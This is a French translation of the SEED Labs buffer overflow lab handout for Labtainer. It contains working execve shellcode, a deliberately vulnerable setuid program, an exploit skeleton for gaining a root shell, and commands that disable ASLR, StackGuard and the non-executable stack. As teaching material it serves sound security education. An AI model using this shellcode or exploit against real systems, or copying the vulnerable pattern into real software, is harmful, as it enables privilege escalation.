Laboratoires SEED

Laboratoire sur la vulnérabilité de dépassement de tampon

Le développement de ce document a été/est financé par trois subventions de la Fondation nationale pour la science des États-Unis : Prix n° 0231122 et 0618680 de TUES/CCLI et Prix n° 1017771 de Trustworthy Computing. Ce laboratoire a été importé dans le cadre Labtainer par l'École navale supérieure, Centre pour la cybersécurité et les opérations cybernétiques sous la subvention de la Fondation nationale pour la science n° 1438893.

1 Aperçu du laboratoire

L'objectif d'apprentissage de ce laboratoire est de permettre aux étudiants d'acquérir une expérience pratique sur la vulnérabilité de dépassement de tampon en mettant en pratique ce qu'ils ont appris en classe. Le dépassement de tampon est défini comme la condition dans laquelle un programme tente d'écrire des données au-delà des limites de tampons de longueur fixe préalloués. Cette vulnérabilité peut être exploitée par un utilisateur malveillant pour altérer le flux de contrôle du programme, voire exécuter des morceaux de code arbitraires. Cette vulnérabilité découle du mélange du stockage des données (par exemple, les tampons) et du stockage des contrôles (par exemple, les adresses de retour) : un dépassement dans la partie données peut affecter le flux de contrôle du programme, car un dépassement peut modifier l'adresse de retour.

Dans ce laboratoire, les étudiants recevront un programme avec une vulnérabilité de dépassement de tampon ; leur tâche est de développer un schéma pour exploiter la vulnérabilité et finalement obtenir les privilèges root. En plus des attaques, les étudiants seront guidés à travers plusieurs schémas de protection qui ont été mis en œuvre dans le système d'exploitation pour contrer les attaques de dépassement de tampon. Les étudiants doivent évaluer si les schémas fonctionnent ou non et expliquer pourquoi.

2 Tâches du laboratoire

2.1 Configuration initiale

Le laboratoire est démarré à partir du répertoire de travail Labtainer sur votre hôte compatible Docker, par exemple, une machine virtuelle Linux. À partir de là, émettez la commande :

```
labtainer bufoverflow
```

Les terminaux virtuels résultants incluront un shell bash. Les programmes décrits ci-dessous seront dans votre répertoire personnel.

Randomisation de l'espace d'adressage. Plusieurs systèmes basés sur Linux utilisent la randomisation de l'espace d'adressage pour randomiser l'adresse de départ du tas et de la

pile. Cela rend la devinette des adresses exactes difficile ; deviner les adresses est l'une des étapes critiques des attaques de dépassement de tampon. Dans ce laboratoire, nous désactivons ces fonctionnalités en utilisant les commandes suivantes :

```
sudo sysctl -w kernel.randomize_va_space=0
```

Le schéma de protection StackGuard. Le compilateur GCC implémente un mécanisme de sécurité appelé "Stack Guard" pour prévenir les dépassements de tampon. En présence de cette protection, le dépassement de tampon ne fonctionnera pas. Vous pouvez désactiver cette protection si vous compilez le programme en utilisant l'option `-fno-stack-protector`. Par exemple, pour compiler un programme `example.c` avec Stack Guard désactivé, vous pouvez utiliser la commande suivante :

```
$ gcc -m32 -fno-stack-protector example.c
```

Notez que nous utilisons l'option `-m32` pour créer des exécutables 32 bits, qui sont nécessaires pour ce laboratoire.

Pile non exécutable. Ubuntu permettait auparavant les piles exécutables, mais cela a maintenant changé : les images binaires des programmes (et des bibliothèques partagées) doivent déclarer si elles nécessitent des piles exécutables ou non, c'est-à-dire qu'elles doivent marquer un champ dans l'en-tête du programme. Le noyau ou le lieur dynamique utilise ce marquage pour décider si rendre la pile de ce programme en cours d'exécution exécutable ou non exécutable. Ce marquage est effectué automatiquement par les versions récentes de gcc, et par défaut, la pile est définie comme non exécutable. Pour changer cela, utilisez l'option suivante lors de la compilation des programmes :

Pour une pile exécutable :

```
$ gcc -m32 -z execstack -o test test.c
```

Pour une pile non exécutable :

```
$ gcc -m32 -z noexecstack -o test test.c
```

2.2 Shellcode

Avant de commencer l'attaque, vous avez besoin d'un shellcode. Un shellcode est le code pour lancer un shell. Il doit être chargé en mémoire afin que nous puissions forcer le programme vulnérable à y sauter. Considérez le programme suivant :

```c
#include <stdio.h>

int main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

Le shellcode que nous utilisons est juste la version assembleur du programme ci-dessus. Le programme suivant vous montre comment lancer un shell en exécutant un shellcode stocké dans un tampon. Veuillez compiler et exécuter le code suivant, et voir si un shell est invoqué.

```c
/* call_shellcode.c */
/* Un programme qui crée un fichier contenant le code pour lancer un sh
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


const char code[] =
    "\x31\xc0"    /* Ligne 1 : xorl %eax, %eax */
    "\x50"        /* Ligne 2 : pushl %eax */
    "\x68" "//sh" /* Ligne 3 : pushl $0x68732f2f */
    "\x68" "/bin" /* Ligne 4 : pushl $0x6e69622f */
    "\x89\xe3"    /* Ligne 5 : movl %esp, %ebx */
    "\x50"        /* Ligne 6 : pushl %eax */
    "\x53"        /* Ligne 7 : pushl %ebx */
    "\x89\xe1"    /* Ligne 8 : movl %esp, %ecx */
    "\x99"        /* Ligne 9 : cdq */
    "\xb0\x0b"    /* Ligne 10 : movb $0x0b, %al */
    "\xcd\x80"    /* Ligne 11 : int $0x80 */
;

int main(int argc, char **argv)
{
    char buf[sizeof(code)];
    strcpy(buf, code);
    ((void (*)( )) buf)();
}
```

Note : Dans ce laboratoire, nous avons remplacé le programme `/bin/sh` par un shell plus ancien et moins sécurisé qui héritera des permissions setuid associées au programme stack. Les shells modernes utiliseront l'uid réel du processus comme leur id effectif, rendant ainsi plus difficile l'obtention de shells root à partir de programmes setuid. Cependant, un shellcode plus sophistiqué peut exécuter le programme suivant pour transformer l'uid réel en root. De cette façon, vous auriez un véritable processus root.

```
void main()
{
    setuid(0);
    system("/bin/sh");
}
```

Pour ce laboratoire, nous utiliserons le shellcode plus simple et un programme `/bin/sh` non sécurisé.

Veuillez utiliser la commande suivante pour compiler le code (n'oubliez pas l'option `execstack`) :

```
$ gcc -m32 -z execstack -o call_shellcode call_shellcode.c
```

Quelques points dans ce shellcode méritent d'être mentionnés. Premièrement, la troisième instruction pousse "`//sh`" plutôt que "`/sh`" dans la pile. C'est parce que nous avons besoin d'un nombre de 32 bits ici, et "`/sh`" n'a que 24 bits. Heureusement, "`//`" est équivalent à "`/`", donc nous pouvons nous en sortir avec un double slash. Deuxièmement, avant d'appeler l'appel système `execve()`, nous devons stocker `name[0]` (l'adresse de la chaîne), `name` (l'adresse du tableau), et `NULL` dans les registres `%ebx`, `%ecx` et `%edx`, respectivement. La ligne 5 stocke `name[0]` dans `%ebx` ; la ligne 8 stocke `name` dans `%ecx` ; la ligne 9 met `%edx` à zéro. Il existe d'autres façons de mettre `%edx` à zéro (par exemple, `xorl %edx, %edx`) ; celle utilisée ici (`cdq`) est simplement une instruction plus courte : elle copie le signe (bit 31) de la valeur dans le registre `EAX` (qui est 0 à ce stade) dans chaque position de bit du registre `EDX`, mettant essentiellement `%edx` à 0. Troisièmement, l'appel système `execve()` est appelé lorsque nous mettons `%al` à 11 et exécutons "`int $0x80`".

2.3 Le programme vulnérable

```c
/* stack.c */
/* Ce programme a une vulnérabilité de dépassement de tampon. */
/* Notre tâche est d'exploiter cette vulnérabilité */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];
    /* L'instruction suivante a un problème de dépassement de tampon */
    strcpy(buffer, str);
    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Compilez le programme vulnérable ci-dessus et rendez-le set-root-uid. Vous pouvez y parvenir en le compilant dans le compte root et en modifiant les permissions de l'exécutable à 4755 (n'oubliez pas d'inclure les options `execstack` et `-fno-stack-protector` pour désactiver les protections de pile non exécutable et StackGuard) :

```
$ sudo su
# gcc -m32 -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
```

Le programme ci-dessus a une vulnérabilité de dépassement de tampon. Il lit d'abord une entrée à partir d'un fichier appelé `"badfile"`, puis passe cette entrée à un autre tampon dans la fonction `bof()`. L'entrée originale peut avoir une longueur maximale de 517 octets, mais le tampon dans `bof()` n'a que 24 octets de long. Parce que `strcpy()` ne vérifie pas les limites, un dépassement de tampon se produira. Puisque ce programme est un programme set-root-uid, si un utilisateur normal peut exploiter cette vulnérabilité de dépassement de tampon, l'utilisateur normal pourrait être en mesure d'obtenir un shell root. Il convient de noter que le programme obtient son entrée à partir d'un fichier appelé `"badfile"`. Ce fichier est sous le contrôle des utilisateurs. Maintenant, notre objectif est de créer le contenu de `"badfile"`, de sorte que lorsque le programme vulnérable copie le contenu dans son tampon, un shell root puisse être spawned.

2.4 Tâche 1 : Exploiter la vulnérabilité

Nous vous fournissons un code d'exploitation partiellement complété appelé "`exploit.c`". Le but de ce code est de construire le contenu de "`badfile`". Dans ce code, le shellcode vous est donné. Vous devez développer le reste.

```
/* exploit.c */
/* Un programme qui crée un fichier contenant le code pour lancer un sh
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0"    /* xorl %eax, %eax */
    "\x50"        /* pushl %eax */
    "\x68" "//sh" /* pushl $0x68732f2f */
    "\x68" "/bin" /* pushl $0x6e69622f */
    "\x89\xe3"    /* movl %esp, %ebx */
    "\x50"        /* pushl %eax */
    "\x53"        /* pushl %ebx */
    "\x89\xe1"    /* movl %esp, %ecx */
    "\x99"        /* cdq */
    "\xb0\x0b"    /* movb $0x0b, %al */
    "\xcd\x80"    /* int $0x80 */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;
    /* Initialiser le tampon avec 0x90 (instruction NOP) */
    memset(&buffer, 0x90, 517);
    /* Vous devez remplir le tampon avec le contenu approprié ici */
    /* Enregistrer le contenu dans le fichier "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Après avoir terminé le programme ci-dessus, compilez-le et exécutez-le. Cela générera le contenu de "`badfile`". Ensuite, exécutez le programme vulnérable `stack`. Si votre exploit est implémenté correctement, vous devriez pouvoir obtenir un shell root :

Important : Veuillez d'abord compiler votre programme vulnérable. Veuillez noter que le programme `exploit.c`, qui génère le mauvais fichier, peut être compilé avec la protection Stack Guard par défaut activée. C'est parce que nous n'allons pas déborder le tampon dans ce programme. Nous allons déborder le tampon dans `stack.c`, qui est compilé avec la protection Stack Guard désactivée.

```
$ gcc -o exploit exploit.c
$ ./exploit  // créer le badfile
$ ./stack    // lancer l'attaque en exécutant le programme vulnérable
# <---- Bingo ! Vous avez un shell root !
```

Lorsque vous êtes dans le shell root, vous devez afficher le contenu d'un fichier secret :

```
cat /root/.secret
```

Il est noté que bien que vous ayez obtenu le prompt "#", votre véritable id utilisateur est toujours vous-même (l'id utilisateur effectif est maintenant root). Vous pouvez vérifier cela en tapant :

```
# id
uid = (500) euid = 0 (root)
```

2.5 Tâche 2 : Randomisation d'adresse

Maintenant, nous activons la randomisation d'adresse d'Ubuntu. Nous exécutons la même attaque développée dans la tâche 1. Pouvez-vous obtenir un shell ? Si non, quel est le problème ? Comment la randomisation d'adresse rend-elle vos attaques difficiles ? Vous devez décrire votre observation et votre explication dans votre rapport de laboratoire. Vous pouvez utiliser les instructions suivantes pour activer la randomisation d'adresse :

```
sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Si l'exécution du code vulnérable une fois ne vous donne pas le shell root, que diriez-vous de l'exécuter plusieurs fois ? Vous pouvez exécuter `./stack` en utilisant le script `whilebash.sh` et voir ce qui se passera. Si votre programme d'exploitation est conçu correctement, vous devriez pouvoir obtenir le shell root après un certain temps. Vous pouvez modifier votre programme d'exploitation pour augmenter la probabilité de succès (c'est-à-dire réduire le temps que vous devez attendre). Après avoir obtenu un shell root, affichez le fichier secret (c'est requis) :

```
cat /root/.secret
```

2.6 Tâche 3 : Stack Guard

Avant de travailler sur cette tâche, n'oubliez pas de désactiver la randomisation d'adresse d'abord, sinon vous ne saurez pas quelle protection aide à réaliser la protection.

Dans nos tâches précédentes, nous avons désactivé le mécanisme de protection "Stack Guard" dans GCC lors de la compilation des programmes. Dans cette tâche, vous pouvez envisager de répéter la tâche 1 en présence de Stack Guard. Pour ce faire, vous devez compiler le programme sans l'option `-fno-stack-protector`. Pour cette tâche, vous recompilerez le programme vulnérable, `stack.c`, pour utiliser Stack Guard de GCC, exécuterez à nouveau la tâche 1 et rapporterez vos observations. Vous pouvez signaler tous les messages d'erreur que vous observez.

Dans les versions GCC 4.3.3 et plus récentes, Stack Guard est activé par défaut. Par conséquent, vous devez désactiver Stack Guard en utilisant l'option mentionnée précédemment. Dans les versions antérieures, il était désactivé par défaut. Si vous utilisez une version plus ancienne de GCC, vous n'aurez peut-être pas à désactiver Stack Guard.

2.7 Tâche 4 : Pile non exécutable

Avant de travailler sur cette tâche, n'oubliez pas de désactiver la randomisation d'adresse d'abord, sinon vous ne saurez pas quelle protection aide à réaliser la protection.

Dans nos tâches précédentes, nous avons intentionnellement rendu les piles exécutables. Dans cette tâche, nous recompilons notre programme vulnérable en utilisant l'option `noexecstack` et répétons l'attaque de la tâche 1. Pouvez-vous obtenir un shell ? Si non, quel est le problème ? Comment ce schéma de protection rend-il vos attaques difficiles ? Vous devez décrire votre observation et votre explication dans votre rapport de laboratoire. Vous pouvez utiliser les instructions suivantes pour activer la protection de pile non exécutable.

```
# gcc -m32 -o stack -fno-stack-protector -z noexecstack stack.c
```

Il convient de noter que la pile non exécutable rend seulement impossible l'exécution de shellcode sur la pile, mais elle n'empêche pas les attaques de dépassement de tampon, car il existe d'autres façons d'exécuter du code malveillant après avoir exploité une vulnérabilité de dépassement de tampon. L'attaque *return-to-libc* en est un exemple. Nous avons conçu un laboratoire séparé pour cette attaque. Si vous êtes intéressé, veuillez consulter le *Laboratoire sur l'attaque Return-to-Libc* pour plus de détails.

3 Directives

Nous pouvons charger le shellcode dans `"badfile"`, mais il ne sera pas exécuté car notre pointeur d'instruction ne pointera pas vers lui. Une chose que nous pouvons faire est de modifier l'adresse de retour pour pointer vers le shellcode. Mais nous avons deux problèmes : (1) nous ne savons pas où l'adresse de retour est stockée, et (2) nous ne savons pas où le shellcode est stocké. Pour répondre à ces questions, nous devons comprendre la disposition de la pile lorsque l'exécution entre dans une fonction. La figure suivante donne un exemple.

Trouver l'adresse de la mémoire qui stocke l'adresse de retour. À partir de la figure, nous savons que si nous pouvons trouver l'adresse du tableau `buffer[]`, nous pouvons calculer où l'adresse de retour est stockée. Puisque le programme vulnérable est un programme Set-UID, vous pouvez en faire une copie et l'exécuter avec vos propres privilèges ; de cette façon, vous pouvez déboguer le programme (notez que vous ne pouvez pas déboguer un programme Set-UID). Dans le débogueur, vous pouvez déterminer l'adresse de `buffer[]`, et ainsi calculer le point de départ du code malveillant. Vous pouvez même modifier le programme copié et demander au programme d'imprimer directement l'adresse de `buffer[]`. L'adresse de `buffer[]` peut être légèrement différente lorsque vous exécutez la copie Set-UID, au lieu de votre copie, mais vous devriez être assez proche.

Si le programme cible est en cours d'exécution à distance, et que vous ne pouvez pas vous fier au débogueur pour trouver l'adresse. Cependant, vous pouvez toujours deviner. Les faits

suivants rendent la devinette assez faisable :

- La pile commence généralement à la même adresse.
- La pile n'est généralement pas très profonde : la plupart des programmes ne poussent pas plus de quelques centaines ou quelques milliers d'octets dans la pile à un moment donné.
- Par conséquent, la plage d'adresses que nous devons deviner est en fait assez petite.

Trouver le point de départ du code malveillant. Si vous pouvez calculer avec précision l'adresse de `buffer[]`, vous devriez pouvoir calculer avec précision le point de départ du code malveillant. Même si vous ne pouvez pas calculer l'adresse avec précision (par exemple, pour les programmes distants), vous pouvez toujours deviner. Pour améliorer les chances de succès, nous pouvons ajouter un certain nombre de `NOPs` au début du code malveillant ; par conséquent, si nous pouvons sauter à l'un de ces `NOPs`, nous pouvons éventuellement atteindre le code malveillant. La figure suivante illustre l'attaque.

- (a) Sauter au code malveillant
- (b) Améliorer les chances

Stocker un entier long dans un tampon : Dans votre programme d'exploitation, vous pourriez avoir besoin de stocker un entier long (4 octets) dans un tampon commençant à `buffer[i]`. Puisque chaque espace de tampon est d'un octet, l'entier occupera en fait quatre octets commençant à `buffer[i]` (c'est-à-dire `buffer[i]` à `buffer[i+3]`). Parce que `buffer` et `long` sont de types différents, vous ne pouvez pas assigner directement l'entier à `buffer` ; au lieu de cela, vous pouvez caster `buffer+i` en un pointeur long, puis assigner l'entier. Le code suivant montre comment assigner un entier long à un tampon commençant à `buffer[i]` :

```
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
```

4 Soumission

Lorsque le laboratoire est terminé, ou si vous souhaitez arrêter de travailler pendant un certain temps, exécutez

```
stoplab
```

à partir du répertoire de travail Labtainer de l'hôte. Vous pouvez toujours redémarrer le Labtainer pour continuer votre travail. Lorsque le laboratoire est arrêté, un fichier zip est créé et copié à un emplacement affiché par la commande `stoplab`. Lorsque le laboratoire est terminé, envoyez ce fichier zip à l'instructeur ou soumettez-le via Sakai.

Références

[1] Aleph One. *Smashing The Stack For Fun And Profit*. Phrack 49, Volume 7, Numéro 49. Disponible à http://www.cs.wright.edu/people/faculty/tkprasad/courses/cs781/alephOne.html